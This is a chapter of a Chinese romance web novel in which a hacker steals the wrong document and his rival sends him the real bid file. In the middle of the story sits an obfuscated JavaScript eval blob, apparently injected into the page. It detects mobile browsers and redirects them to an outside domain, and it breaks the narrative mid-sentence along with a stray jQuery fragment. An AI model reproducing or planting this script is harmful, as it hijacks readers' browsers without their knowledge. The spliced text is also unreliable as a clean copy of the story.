而另一头


    拖着沉重脚步回到秘密基地的令雪阳正不可置信的看着手里的文件。


    商务文件常用的蓝色信封文件夹，没错。


    外壳是对的，一点错都没有。


    但里面打头的第一份文件


    并不是他此行的《2024地产并购开发·招标协议书》，而是一本花花绿绿的，到处布满夸张大字和粉色heart的《百分百恋爱大全》


    可鬼知道为什么里面，他原本要取的标书，会变成这种鬼东西？


    令雪阳直接人傻了，整个人在原地愣了起码两三秒钟才反应过来，坐回了沙发上，开始认真复盘。


    这事还得从二十分钟前说起。


    那头始作俑者拍拍屁股走了，没带走一丝云彩，只留下他在呼呼吹进来的冷风里，平复气息，但缓了好几分钟，脸上灼人的热度都迟迟没有降下去。


    直到耳边佩戴的另一侧的蓝牙耳机里，传来同伴略显焦急的呼唤声，令雪阳才反应过来，是的，他还有帮忙的同伙的。


    先前他为了不想暴露自己的隐私，单方面切断了通讯，而对方也早就对此习以为常，但为了以防意外，两人还是约定了一个接应时间。


    令雪阳抬起手腕，就着日光看了眼腕表，17:30，果然到了约定的时间，但他现在还处在某种玄妙的不应期里，这里又没有冷水给他冲，所以在对方的连声呼喊里，缓缓伸手捂住了额头。


    【还好吗？Pluto】


    【东西顺利拿到了吗？】


    对方喊了约莫有两三分钟吧，他才将将缓过神来，恢复了些许神智，清了清嗓子，冷静道：


    【在，还好。】


    这一搭腔可了不得。


    同伴咋咋唬唬的声音瞬间在他耳旁，如同连珠炮般绵延不绝的响了起来。


    【Pluto！！哥！！你终于回消息了！】


    【我的老天爷！？】


    【你那边发生啥了，人现在在哪？东西拿到手了吗？】


    【我去，可吓死我了，鬼知道阮氏刚刚怎么突然宣布全体下班了？这才五点半，连日常通宵的产品开发部都下班了，我还以为他们发现文件被偷了，要清场抓人呢。


    吓得我在阮氏大楼附近的花坛边蹲了大半个小时了，还好目前没看到条子过来，你还活着吗？】


    【还活着就给我吱一声。】


    令雪阳：……


    他伸手揉了揉隐隐作痛的眉心，目光所到之处一片狼藉，“别贫了，东西在哪？”


    【刚得到的最新消息，东西在他办公室的第二格空位上，看到了吗？】


    【文件夹的编号是SF-2024-11-27-03-001，宝蓝色的文件夹，封面贴了彩色标的那本就是。】


    令雪阳强打起精神，抬眸看了一眼，很快锁定了目标，但他的心乱了，难免对具体方位记得有些混淆，加上对方说着说着就开始八卦起来。


    【哎，哥，你刚刚也在，在吃瓜现场不。】


    【他们秘书群现在都传疯了，说阮氏现任当家人好像移情别恋了还是怎么的，为了心动男嘉宾豪掷一个亿，还全公司放假，绝对是真爱。】


    【据说，那位迷惑人心的男妲己长得还挺好看的，好像还腰细腿长，有八块腹肌呢，群里说得那叫一个有鼻子有眼的，我都好奇了，你有看清他长什么样吗？有拍到照片吗？我也想看看…】


    令雪阳：……


    他的语气冷冷的，人也硬邦邦的，“没看见，没听见，你不觉得今天自己的话有点多吗？”


    后来见对方还是不依不饶。


    他索性眼不见心不烦的直接把通讯给掐了，三步做两步的，来到了放文件的那个办公桌旁，


    好死不死，那张胡桃木色的办公桌上一片狼藉，文件层层叠叠的肆意的散落着，最面上的那一层遍布折痕，边缘蜷曲弯折着，纸张皱巴巴的，仿佛被谁狠狠的蹂躏过。


    而事实也确实如此。


    令雪阳的目光一扫过去，就像被烫到般瞬间收了回来，问就是总让他想起刚才发生的事，让人心烦意乱的。


    想来，应该就是这个时候拿错的。


    他很慌乱，也很无措，尤其是在调出监控发现整栋大楼灯火通明，但空空荡荡，连附近的监控权限都关了，真的连一个人都没有，就算他正大光明的走出门去，也绝对不会被人发现的时候，这种怪异的情绪，在一瞬间达到了巅峰。


    因此令雪阳在拿到文件夹后，确定封面序号能对上以后，就匆匆对了一下外壳，就火急火燎的起身离开了，中途连口水都没来得及喝，就抱着文件逃一般的回家了。


    全程脚步快的就好像有鬼在后面追。


    然后就成现在这样了。


    他低头看着文件夹上，那行醒目的。


    【SF-2024-01-27-43-001】


    都气的有点想笑。


    他当时不止连序号看错了，连办公桌方向都记反了，中途甚至还去神智不清的摸了抽屉，顺了支钢笔回来。


    令雪阳面无表情的从口袋里掏出了一支万宝龙的黑色钢笔，盯着尾部用花体烫金勾勒出的阮字定定看了两三秒钟，想用力甩掉，又舍不得。


    最终只是用指尖愤愤得揉了一下笔盖，就将钢笔收起来了。


    还好，基地里剩下的两个人已经被他提前赶回家了，令雪阳深刻知晓自己某些时候，如同天煞孤星般直线下滑的好运气，如果可以的话，他并不想拖累任何一个人。


    也幸好如此，他丢人的一幕再没第二个人看到。


    空无一人的基地里，他仰躺在沙发上，捂着脸，满脸通红的，发出了一声长叹。


    “我真是疯了，疯子！”


    怪不得人家常说一心二用容易误事，可不是误事么，换作往常，他绝对不会犯这种低级的错误，令雪阳懊恼的想。


    现在再折回去？


    不不不，这绝不是一个好的提议。


    令雪阳只是粗略一想，就否决了这个预案，但发布会就在明后两天了，招标会甚至就在后天上午的九点钟，如果现在拿不到标书，就代表这段时间以来，他为了扳倒陆仁所做出的一切苦心布置，将全部前功尽弃。


    其实有时候，他也想过，何必要那么麻烦。


    只需要在对方的刹车线上动些手脚，他就能如同世界上每一个中饱私囊的肮脏蛀虫一样，悄无声息的、面目全非的死去。


    但这又有什么用呢，他死去的时候，依然是功成名就的伪善慈善家，被人交口称赞的成功人士，人们说不定还会因为他的死去而感到惋惜。


    而他想要的忏悔与公平，始终都没有得到。


    像他父亲这样的贱人，只有让他曾经得到，然后再声败名裂，终身都没有东山再起的可能，他才会真心实意的感到痛苦。


    而如果就这么放任不管，毫无疑问，事情绝对会按照他不想看见的方向发展。


    这一认知，让令雪阳在房间里，有点焦虑的转了一个圈。


    就在这时，房门被人急促敲响了。


    令雪阳皱了皱眉。


    从猫眼往外看了看。


    发现是快递员。


    快递员怎么会来这里？


    他很确信自己最近没有买任何东西。


    就算有，他也不会把东西寄到基地来。


    一个成熟的黑客是不会主动暴露自己的安全屋的，被迫的情况除外，:)


    两分钟后，在令雪阳因为不厌其烦的敲门声，选择打开门的时候，穿着红黑色工服的顺丰小哥正抱着一手垒得半人高的信件，费力的从里面抽出一份薄信件，从口袋掏出黑色圆珠笔，就要他当面签收。


    还不忘礼貌的用上敬称，“先生，您好，有一封您的闪送信件，请在这里签名。”


    令雪阳皱了皱眉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630382|155998||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，“你搞错了，我没有买东西，也不会有人给我买东西。”


    说着，他就准备把开了小半扇的房门给重新带上，可快递员眼疾手快，一把就将门扉强行撑住了，“不是啊，收件地址就是这里没错，你是令雪阳先生对吧？您的身份证号是330xxxxx……xx，对吗？”


    说着，他流利的报出了一长串数字。


    令雪阳：……


    确实和他的身份证一模一样。


    令雪阳又问，“寄的什么东西？”


    快递小哥礼貌微笑，“是文件呢，令先生，1.13kg，没什么问题的话，麻烦您这边帮我签个字，签收一下。”


    令雪阳看了一眼那封被抽出来的，没有署名只有一串简略地址的薄信件，不知道为什么，心头没由来的莫名一跳，脑海里居然出现了一个疯狂的预想。


    这里面该不会，是标书吧？


    他想。


    但不，不可能的，这么做，对他来说有什么好处？一旦事情败露，无论对他还是对阮氏，所带来的影响都绝对是负面的，更有甚者，从小到大，他认识的所有人里，得罪陆仁的都没什么好下场，有关他的种种怪诞传闻，在圈子里稍微一查，就能知道。


    阮青余疯了才把标书给他。


    但这个疯子，他真的给了，为什么？


    尽管心头已经有所预感，可等到令雪阳送别快递员进门后，拆开信件封条，抽出文件，看到那封熟得不能再熟的文件开头名时，还是有些惊到了。


    令雪阳本不想开口问的。


    因为往往开口就代表着先示弱，这可不是一件好事，无论哪本恋爱大全，都是这么说的，擒纵，先擒后纵。


    但他垂眸看着手机屏幕上，某个新增联系人自两分钟前刚发来的一条短信。


    【临别礼物，你忘拿了。】


    紧跟着的，是一个柴犬呲牙笑的表情包。


    他把这个，称作，礼物。


    令雪阳只短暂犹豫了两秒，就选择了回拨，那头接的很快，刚响过两声，电话就接通了，滋滋的电流声里，传来了男人磁性、低哑的愉悦嗓音，“喂？”


    他在黑白格纹的沙发上坐了下来，揪着边缘垂着的流苏，心不在焉的问，“你为什么帮我？”


    那头传来了细微的嘎吱声响，紧接着是琐碎的转笔声，而被他划定成变数的那个男人。


    他说，“凭我喜欢，凭我乐意。”


    令雪阳觉得他有些敷衍，下意识追问道，“理由呢，给我一个理由。”


    那头笑了一下。


    “理由？什么理由？”


    “如果硬要说一个的话，大概是我喜欢你，这个理由够了吗？还要再继续问吗？”


    令雪阳攥住流苏的手骤然一紧。


    阮青余坐在宽大的办公椅上，看着窗外绚烂的晚霞，姿态悠闲的转了转笔，隔壁办公楼的员工都已经下班了，唯有他这边灯火通明。


    保安正在依次关闭电源，白炽灯一层一层的暗了下来，最终在逐渐西沉的夜色里，归于沉寂。


    他捞起桌上那份不久前刚新鲜出炉的，几十人在短短两小时内，改出的考试评分表，一边漫不经心的用手中的红色签字笔，按照系统评分上的分数，对着头像批批改改，挨个将人挪到预先留出来的位置上。


    人品低劣的踢掉，忠诚度低的踢掉，务实潜力高的人留下，就像在玩某种纪实的职场game。


    还不忘抽空调戏一下，不久前败在他手里的某位纯情人士。


    “喜欢一个人，是不需要什么理由的。”


    “现在开心点了吗？”


    “……”


    那头一如既往的陷入了沉默。


    阮青余也不在意，他转了转笔，熟练的在一份调职证明上，打下一个红色的叉，尾音愉悦的轻轻上扬，喑哑的嗓音里，带着显而易见的暧昧，“那笑一下？我喜欢你笑的样子。”